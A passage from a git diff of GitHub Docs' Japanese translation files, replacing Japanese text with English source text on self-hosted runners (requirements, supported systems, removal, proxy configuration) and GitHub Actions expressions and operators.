with per-minute rates applied after surpassing the free minutes. -**セルフホストランナーは：** -- セルフホストランナーアプリケーションのみ、自動アップデートを受信します。 You are responsible for updating the operating system and all other software. -- すでに支払いをしているクラウドサービスあるいはローカルマシンを利用できます。 -- 利用するハードウェア、オペレーティングシステム、ソフトウェア、セキュリティ上の要求に合わせてカスタマイズできます。 -- ジョブの実行のたびにクリーンなインスタンスを保持する必要がありません。 -- {% data variables.product.prodname_actions %}と合わせて無料で利用できますが、ランナーマシンのメンテナンスコストはあなたが受け持ちます。 +**Self-hosted runners:** +- Receive automatic updates for the self-hosted runner application only. You are responsible for updating the operating system and all other software. +- Can use cloud services or local machines that you already pay for. +- Are customizable to your hardware, operating system, software, and security requirements. +- Don't need to have a clean instance for every job execution. +- Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines. -## セルフホストランナーマシンに対する要求 +## Requirements for self-hosted runner machines -以下の要求を満たしていれば、いかなるマシンもセルフホストランナーとして利用できます。 +You can use any machine as a self-hosted runner as long at it meets these requirements: -* マシン上にセルフホストランナーアプリケーションをあなたがインストールして実行できること。 詳しい情報については、「[セルフホストランナーでサポートされるアーキテクチャとオペレーティングシステム](#supported-architectures-and-operating-systems-for-self-hosted-runners)」を参照してください。 -* そのマシンが{% data variables.product.prodname_actions %}と通信できる。 詳しい情報については「[セルフホストランナーと{% data variables.product.prodname_dotcom %}の通信](#communication-between-self-hosted-runners-and-github)」を参照してください。 -* そのマシンが、実行しようとしている種類のワークフローに対して十分なハードウェアリソースを持っていること。 セルフホストランナーアプリケーションそのものは、最小限のリソースしか必要としません。 -* Dockerコンテナアクションあるいはサービスコンテナを使うワークフローを実行したいなら、Linuxのマシンを使い、Dockerがインストールされていなければなりません。 +* You can install and run the self-hosted runner application on the machine. For more information, see "[Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners)." +* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see "[Communication between self-hosted runners and {% data variables.product.prodname_dotcom %}](#communication-between-self-hosted-runners-and-github)." +* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources. +* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed. {% ifversion fpt or ghes > 3.2 or ghec %} ## Autoscaling your self-hosted runners @@ -65,76 +65,76 @@ You can automatically increase or decrease the number of self-hosted runners in {% endif %} -## 使用制限 +## Usage limits -セルフホストランナーを使用する場合、{% data variables.product.prodname_actions %} の使用にはいくつかの制限があります。 これらの制限は変更されることがあります。 +There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change. {% data reusables.github-actions.usage-workflow-run-time %} -- **ジョブキュー時間** - セルフホストランナーの各ジョブは、最大24時間キューイングできます。 この制限内にセルフホストランナーがジョブの実行を開始しなければ、ジョブは終了させられ、完了に失敗します。 +- **Job queue time** - Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete. {% data reusables.github-actions.usage-api-requests %} -- **ジョブマトリックス** - {% data reusables.github-actions.usage-matrix-limits %} +- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %} {% data reusables.github-actions.usage-workflow-queue-limits %} -## セルフホストランナーのワークフローの継続性 +## Workflow continuity for self-hosted runners {% data reusables.github-actions.runner-workflow-continuity %} -## セルフホストランナーをサポートするアーキテクチャとオペレーティングシステム +## Supported architectures and operating systems for self-hosted runners -セルフホストランナーアプリケーション用には、以下のオペレーティングシステムがサポートされています。 +The following operating systems are supported for the self-hosted runner application. ### Linux - Red Hat Enterprise Linux 7 or later - CentOS 7 or later - Oracle Linux 7 -- Fedora 29以降 -- Debian 9以降 -- Ubuntu 16.04以降 -- Linux Mint 18以降 -- openSUSE 15以降 -- SUSE Enterprise Linux (SLES) 12 SP2以降 +- Fedora 29 or later +- Debian 9 or later +- Ubuntu 16.04 or later +- Linux Mint 18 or later +- openSUSE 15 or later +- SUSE Enterprise Linux (SLES) 12 SP2 or later ### Windows - Windows 7 64-bit - Windows 8.1 64-bit - Windows 10 64-bit -- Windows 10 64-bit +- Windows Server 2012 R2 64-bit - Windows Server 2016 64-bit - Windows Server 2019 64-bit ### macOS -- macOS 10.13 (High Sierra)以降 +- macOS 10.13 (High Sierra) or later -### アーキテクチャ +### Architectures -セルフホストランナーアプリケーションでは、次のプロセッサアーキテクチャがサポートされています。 +The following processor architectures are supported for the self-hosted runner application. -- `x64` - Linux、macOS、Windows。 -- `ARM64` - Linux のみ。 -- `ARM32` - Linux のみ。 +- `x64` - Linux, macOS, Windows. +- `ARM64` - Linux only. +- `ARM32` - Linux only. {% ifversion ghes %} -## セルフホストランナーと{% data variables.product.prodname_dotcom %}との通信 +## Supported actions on self-hosted runners -Some extra configuration might be required to use actions from {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. 詳しい情報については「[{% data variables.product.prodname_dotcom_the_website %}からのアクションへのアクセスの管理](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)」を参照し、{% data variables.product.prodname_enterprise %}のサイト管理者に連絡してください。 +Some extra configuration might be required to use actions from {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator. {% endif %} -## セルフホストランナーと{% data variables.product.product_name %}との通信 +## Communication between self-hosted runners and {% data variables.product.product_name %} -The self-hosted runner polls {% data variables.product.product_name %} to retrieve application updates and to check if any jobs are queued for processing. The self-hosted runner uses a HTTPS _long poll_ that opens a connection to {% data variables.product.product_name %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. アプリケーションは、{% data variables.product.prodname_actions %}ジョブを受け付けて実行するためにマシン上で動作していなければなりません。 +The self-hosted runner polls {% data variables.product.product_name %} to retrieve application updates and to check if any jobs are queued for processing. The self-hosted runner uses a HTTPS _long poll_ that opens a connection to {% data variables.product.product_name %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs. + +{% data reusables.actions.self-hosted-runner-ports-protocols %} {% ifversion ghae %} -セルフホストランナーが -{% data variables.product.prodname_ghe_managed %} URL and its subdomains. +You must ensure that the self-hosted runner has appropriate network access to communicate with the {% data variables.product.prodname_ghe_managed %} URL and its subdomains. For example, if your instance name is `octoghae`, then you will need to allow the self-hosted runner to access `octoghae.githubenterprise.com`, `api.octoghae.githubenterprise.com`, and `codeload.octoghae.githubenterprise.com`. -IP アドレス許可リストを -{% data variables.product.prodname_dotcom %} Organization または Enterprise アカウントで使用する場合は、セルフホストランナーの IP アドレスを許可リストに追加する必要があります。 詳細は「[ Organization に対する許可 IP アドレスを管理する](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)」を参照してください。 +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)." {% endif %} {% ifversion fpt or ghec %} @@ -171,7 +171,7 @@ github-releases.githubusercontent.com github-registry-files.githubusercontent.com ``` -**Needed for uploading/downloading caches and workflow artifacts:** +**Needed for uploading/downloading caches and workflow artifacts:** ``` *.blob.core.windows.net @@ -185,23 +185,23 @@ github-registry-files.githubusercontent.com In addition, your workflow may require access to other network resources. For example, if your workflow installs packages or publishes containers to {% data variables.product.prodname_dotcom %} Packages, then the runner will also require access to those network endpoints. -{% data variables.product.prodname_dotcom %} OrganizationあるいはEnterpriseアカウントでIPアドレス許可リストを使うなら、セルフホストランナーのIPアドレスを許可リストに追加しなければなりません。 For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)" or "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)". +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)" or "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)". {% else %} -マシンには、{% data variables.product.product_location %}と通信するための適切なネットワークアクセスを持たせなければなりません。 +You must ensure that the machine has the appropriate network access to communicate with {% data variables.product.product_location %}.{% ifversion ghes %} Self-hosted runners connect directly to {% data variables.product.product_location %} and do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.product.product_location %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.product.product_location %}, with no need for traffic to traverse a public network.{% endif %} {% endif %} -セルフホストランナーは、プロキシサーバーと合わせて使うこともできます。 詳しい情報については「[セルフホストランナーと合わせてプロキシサーバーを使う](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)」を参照してください。 +You can also use self-hosted runners with a proxy server. For more information, see "[Using a proxy server with self-hosted runners](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)." {% ifversion ghes %} -## セルフホストランナーと{% data variables.product.prodname_dotcom_the_website %}との通信 +## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %} Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have [enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). -If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. 下記の {% data variables.product.prodname_dotcom %} の URL と通信するための適切なネットワークアクセスがマシンにあることを確認する必要があります。 +If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below. {% note %} @@ -219,17 +219,17 @@ codeload.github.com {% ifversion fpt or ghec %} -## パブリックリポジトリでのセルフホストランナーのセキュリティ +## Self-hosted runner security with public repositories {% data reusables.github-actions.self-hosted-runner-security %} -それぞれの{% data variables.product.prodname_dotcom %}ホストランナーは常にクリーンな隔離された仮想マシンになり、ジョブの実行が終わると破棄されるので、{% data variables.product.prodname_dotcom %}ホストランナーではこれは問題にはなりません。 +This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution. -Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. リスクには以下のようなものがあります。 +Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include: -* マシン上での悪意あるプログラムの実行 -* マシンのランナーのサンドボックスからの脱却 -* マシンのネットワーク環境へのアクセスの露出 -* 望まないもしくは危険なデータのマシン上への保存 +* Malicious programs running on the machine. +* Escaping the machine's runner sandbox. +* Exposing access to the machine's network environment. +* Persisting unwanted or dangerous data on the machine. {% endif %} diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md index af5f6659a9..b492e034f7 100644 --- a/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md +++ b/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: セルフホストランナーの削除 -intro: 'セルフホストランナーを、{{ site.data.variables.product.prodname_actions }}から恒久的に削除できます。' +title: Removing self-hosted runners +intro: 'You can permanently remove a self-hosted runner from a repository, an organization, or an enterprise.' redirect_from: - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners @@ -18,17 +18,17 @@ shortTitle: Remove self-hosted runners {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## リポジトリからのランナーの削除 +## Removing a runner from a repository {% note %} -**ノート：** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} {% endnote %} -ユーザリポジトリからセルフホストランナーを削除するには、リポジトリのオーナーでなければなりません。 Organizationのリポジトリの場合は、Organizationのオーナーであるか、そのリポジトリの管理アクセスを持っていなければなりません。 セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。 For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." +To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghec %} @@ -45,17 +45,17 @@ shortTitle: Remove self-hosted runners {% data reusables.github-actions.settings-sidebar-actions-runners %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner %} {% endif %} -## Organizationからのランナーの削除 +## Removing a runner from an organization {% note %} -**ノート：** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} {% endnote %} -Organizationからセルフホストランナーを削除するには、Organizationのオーナーでなければなりません。 セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。 For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." +To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} @@ -71,11 +71,11 @@ Organizationからセルフホストランナーを削除するには、Organiza {% data reusables.github-actions.settings-sidebar-actions-runners %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner %} {% endif %} -## Enterprise からランナーを削除する +## Removing a runner from an enterprise {% note %} -**ノート：** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} @@ -83,7 +83,7 @@ Organizationからセルフホストランナーを削除するには、Organiza {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghec %} -セルフホストランナーを Enterprise アカウントから削除するには、Enterprise のオーナーである必要があります。 セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。 For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions). +To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions). {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} @@ -91,8 +91,7 @@ Organizationからセルフホストランナーを削除するには、Organiza {% data reusables.github-actions.settings-sidebar-actions-runner-selection %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %} {% elsif ghae or ghes %} -セルフホストランナーを -{% data variables.product.product_location %}, you must be an enterprise owner. セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。 +To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md index 4a725e7c73..9028179143 100644 --- a/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md +++ b/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: セルフホストランナーとプロキシサーバーを使う -intro: '{% data variables.product.product_name %}との通信にプロキシサーバーを使うよう、セルフホストランナーを設定できます。' +title: Using a proxy server with self-hosted runners +intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.product_name %}.' redirect_from: - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners versions: @@ -17,39 +17,41 @@ shortTitle: Proxy servers {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 環境変数を利用したプロキシサーバーの設定 +## Configuring a proxy server using environment variables -セルフホストランナーがプロキシサーバー経由で通信しなければならないのであれば、セルフホストランナーアプリケーションは以下の環境変数に設定されたプロキシの設定を利用します。 +If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables: -* `https_proxy`: HTTPSトラフィックのためのプロキシURL。 必要な場合には、basic認証の認証情報を含めることもできます。 例: +* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example: * `http://proxy.local` * `http://192.168.1.1:8080` * `http://username:password@proxy.local` -* `http_proxy`: HTTPトラフィックのためのプロキシURL。 必要な場合には、basic認証の認証情報を含めることもできます。 例: +* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example: * `http://proxy.local` * `http://192.168.1.1:8080` * `http://username:password@proxy.local` -* `no_proxy`: カンマで区切られた、プロキシを使わないホストのリスト。 `no_proxy`ではホスト名のみが許され、IPアドレスは使用できません。 例: +* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example: * `example.com` * `example.com,myserver.local:443,example.org` -プロキシの環境変数は、セルフホストランナーアプリケーションの起動時に読み込まれるので、これらの環境変数はセルフホストランナーアプリケーションを設定あるいは起動する前に設定しなければなりません。 プロキシの設定が変更された場合には、セルフホストランナーアプリケーションを再起動しなければなりません。 +The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application. -Windowsマシンで、プロキシ環境変数名で大文字小文字は区別されません。 Linux及びmacOSマシンで、環境変数はすべて小文字にすることをおすすめします。 たとえば`https_proxy`と`HTTPS_PROXY`といったように、大文字と小文字の環境変数をLinuxもしくはmacOSで使った場合、セルフホストランナーアプリケーションは小文字の環境変数を使います。 +On Windows machines, the proxy environment variable names are not case-sensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable. -## .envファイルを使用したプロキシ設定 +{% data reusables.actions.self-hosted-runner-ports-protocols %} -環境変数を設定することが現実的ではない場合、プロキシ設定変数をセルフホストランナーアプリケーションのディレクトリ中の_.env_という名前のファイルで設定できます。 これはたとえば、ランナーアプリケーションをシステムアカウント下のサービスとして設定したい場合に必要になるかもしれません。 ランナーアプリケーションが起動すると、_.env_中に設定されたプロキシ設定の変数を読み取ります。 +## Using a .env file to set the proxy configuration -以下に_.env_プロキシ設定の例を示します。 +If setting environment variables is not practical, you can set the proxy configuration variables in a file named _.env_ in the self-hosted runner application directory. For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in _.env_ for the proxy configuration. + +An example _.env_ proxy configuration is shown below: ```ini https_proxy=http://proxy.local:8080 no_proxy=example.com,myserver.local:443 ``` -## Dockerコンテナのためのプロキシ設定 +## Setting proxy configuration for Docker containers -ワークフロー中でDockerコンテナアクションやサービスコンテナを使うなら、上記の環境変数の設定に加えて、プロキシサーバーを使うようDockerも設定しなければならないかもしれません。 +If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables. -必要なDockerの設定に関する情報については、Dockerのドキュメンテーションの「[プロキシサーバーを使うようDockerを設定する](https://docs.docker.com/network/proxy/)」を参照してください。 +For information on the required Docker configuration, see "[Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/)" in the Docker documentation. diff --git a/translations/ja-JP/content/actions/learn-github-actions/expressions.md b/translations/ja-JP/content/actions/learn-github-actions/expressions.md index f8825d27f3..b59a6e82ab 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/expressions.md +++ b/translations/ja-JP/content/actions/learn-github-actions/expressions.md @@ -16,21 +16,21 @@ miniTocMaxHeadingLevel: 3 ## About expressions -プログラムでワークフローファイルの変数を設定したり、コンテキストにアクセスするために、式を利用できます。 式で使えるのは、リテラル値、コンテキストへの参照、関数の組み合わせです。 リテラル、コンテキストへの参照、および関数を組み合わせるには、演算子を使います。 For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." +You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." -式は、ステップを実行すべきか判断するための `if` 条件キーワードをワークフローファイル内に記述して使用するのが一般的です。 `if`条件が`true`になれば、ステップは実行されます。 +Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run. -ある式を、文字列型として扱うのではなく式として評価するためには、特定の構文を使って {% data variables.product.prodname_dotcom %} に指示する必要があります。 +You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string. {% raw %} `${{ }}` {% endraw %} -{% data reusables.github-actions.expression-syntax-if %} `if`条件の詳細については、「[{% data variables.product.prodname_actions %}のためのワークフローの構文](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)」を参照してください。 +{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." {% data reusables.github-actions.context-injection-warning %} -#### `if` 条件内の式の例 +#### Example expression in an `if` conditional ```yaml steps: @@ -38,7 +38,7 @@ steps: if: {% raw %}${{ }}{% endraw %} ``` -#### 環境変数の設定例 +#### Example setting an environment variable {% raw %} ```yaml @@ -47,18 +47,18 @@ env: ``` {% endraw %} -## リテラル +## Literals -式の一部として、`boolean`、`null`、`number`、または`string`のデータ型を使用できます。 +As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types. -| データ型 | リテラル値 | -| --------- | ---------------------------------------------------- | -| `boolean` | `true` または `false` | -| `null` | `null` | -| `number` | JSONでサポートされている任意の数値書式。 | -| `string` | 一重引用符で囲む必要があります。 一重引用符そのものを使用するには、一重引用符でエスケープしてください。 | +| Data type | Literal value | +|-----------|---------------| +| `boolean` | `true` or `false` | +| `null` | `null` | +| `number` | Any number format supported by JSON. | +| `string` | You must use single quotes. Escape literal single-quotes with a single quote. | -#### サンプル +#### Example {% raw %} ```yaml @@ -74,99 +74,99 @@ env: ``` {% endraw %} -## 演算子 +## Operators -| 演算子 | 説明 | -| ------------------------- | --------- | -| `( )` | 論理グループ化 | -| `[ ]` | インデックス | -| `.` | プロパティ参照外し | -| `!` | 否定 | -| `<` | 小なり | -| `<=` | 以下 | -| `>` | 大なり | -| `>=` | 以上 | -| `==` | 等しい | -| `!=` | 等しくない | -| `&&` | AND | -| \|\| | OR | +| Operator | Description | +| --- | --- | +| `( )` | Logical grouping | +| `[ ]` | Index +| `.` | Property dereference | +| `!` | Not | +| `<` | Less than | +| `<=` | Less than or equal | +| `>` | Greater than | +| `>=` | Greater than or equal | +| `==` | Equal | +| `!=` | Not equal | +| `&&` | And | +| \|\| | Or | -{% data variables.product.prodname_dotcom %} は、等価性を緩やかに比較します。 +{% data variables.product.prodname_dotcom %} performs loose equality comparisons. -* 型が一致しない場合、{% data variables.product.prodname_dotcom %} は型を強制的に数値とします。 {% data variables.product.prodname_dotcom %} は、以下の変換方法で、データ型を数字にキャストします。 +* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions: - | 種類 | 結果 | - | ------ | ---------------------------------------------------------------------- | - | ヌル | `0` | - | 論理値 | `true`は`1`を返します。
                    `false`は`0`を返します。 | - | 文字列型 | 正規のJSON数値型からパースされます。それ以外の場合は`NaN`です。
                    注釈: 空の文字列は `0` を返します。 | - | 配列 | `NaN` | - | オブジェクト | `NaN` | -* ある `NaN` を、別の `NaN` と比較すると、`true` は返ってきません。 詳しい情報については、「[NaN Mozilla ドキュメント](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)」を参照してください。 -* {% data variables.product.prodname_dotcom %} は、文字列を比較する際に大文字と小文字を区別しません。 -* オブジェクトおよび配列は、同じインスタンスの場合にのみ等しいとみなされます。 + | Type | Result | + | --- | --- | + | Null | `0` | + | Boolean | `true` returns `1`
                    `false` returns `0` | + | String | Parsed from any legal JSON number format, otherwise `NaN`.
                    Note: empty string returns `0`. | + | Array | `NaN` | + | Object | `NaN` | +* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)." +* {% data variables.product.prodname_dotcom %} ignores case when comparing strings. +* Objects and arrays are only considered equal when they are the same instance. -## 関数 +## Functions -{% data variables.product.prodname_dotcom %} は、式で使用できる組み込み関数のセットを提供します。 一部の関数は、比較を行なうために、値を文字列型にキャストします。 {% data variables.product.prodname_dotcom %} は、以下の変換方法で、データ型を文字列にキャストします。 +{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions: -| 種類 | 結果 | -| ------ | -------------------- | -| ヌル | `''` | -| 論理値 | `'true'`または`'false'` | -| Number | 10進数、大きい場合は指数 | -| 配列 | 配列は文字列型に変換されません | -| オブジェクト | オブジェクトは文字列型に変換されません | +| Type | Result | +| --- | --- | +| Null | `''` | +| Boolean | `'true'` or `'false'` | +| Number | Decimal format, exponential for large numbers | +| Array | Arrays are not converted to a string | +| Object | Objects are not converted to a string | ### contains `contains( search, item )` -`search`が`item` を含む場合、`true` を返します。 `search`が配列の場合、`item`が配列の要素であれば、この関数は`true`を返します。 `search`が文字列の場合、`item`が`search`の部分文字列であれば、この関数は`true`を返します。 この関数は大文字と小文字を区別しません。 値を文字列にキャストします。 +Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string. -#### 配列の利用例 +#### Example using an array `contains(github.event.issue.labels.*.name, 'bug')` -#### 文字列の使用例 +#### Example using a string -`contains('Hello world', 'llo')` は、`true` を返します。 +`contains('Hello world', 'llo')` returns `true` ### startsWith `startsWith( searchString, searchValue )` -`searchString` が `searchValue` で始まる場合、`true` を返します。 この関数は大文字と小文字を区別しません。 値を文字列にキャストします。 +Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string. -#### サンプル +#### Example -`startsWith('Hello world', 'He')` は、`true` を返します +`startsWith('Hello world', 'He')` returns `true` ### endsWith `endsWith( searchString, searchValue )` -`searchString` が `searchValue` で終わる場合、`true` を返します。 この関数は大文字と小文字を区別しません。 値を文字列にキャストします。 +Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string. -#### サンプル +#### Example -`endsWith('Hello world', 'ld')` は、`true` を返します +`endsWith('Hello world', 'ld')` returns `true` ### format `format( string, replaceValue0, replaceValue1, ..., replaceValueN)` -`string` の値を、変数 `replaceValueN` で置換します。 `string` の変数は、`{N}` という構文で指定します。ここで `N` は整数です。 少なくとも、`replaceValue` と `string` を 1 つ指定する必要があります。 使用できる変数 (`replaceValueN`) の数に制限はありません。 中括弧はダブルブレースでエスケープします。 +Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces. -#### サンプル +#### Example -'Hello Mona the Octocat' を返します +Returns 'Hello Mona the Octocat' `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')` -#### 括弧をエスケープするサンプル +#### Example escaping braces -'{Hello Mona the Octocat!}'を返します。 +Returns '{Hello Mona the Octocat!}' {% raw %} ```js @@ -178,31 +178,31 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat') `join( array, optionalSeparator )` -`array`の値は、配列もしくは文字列になります。 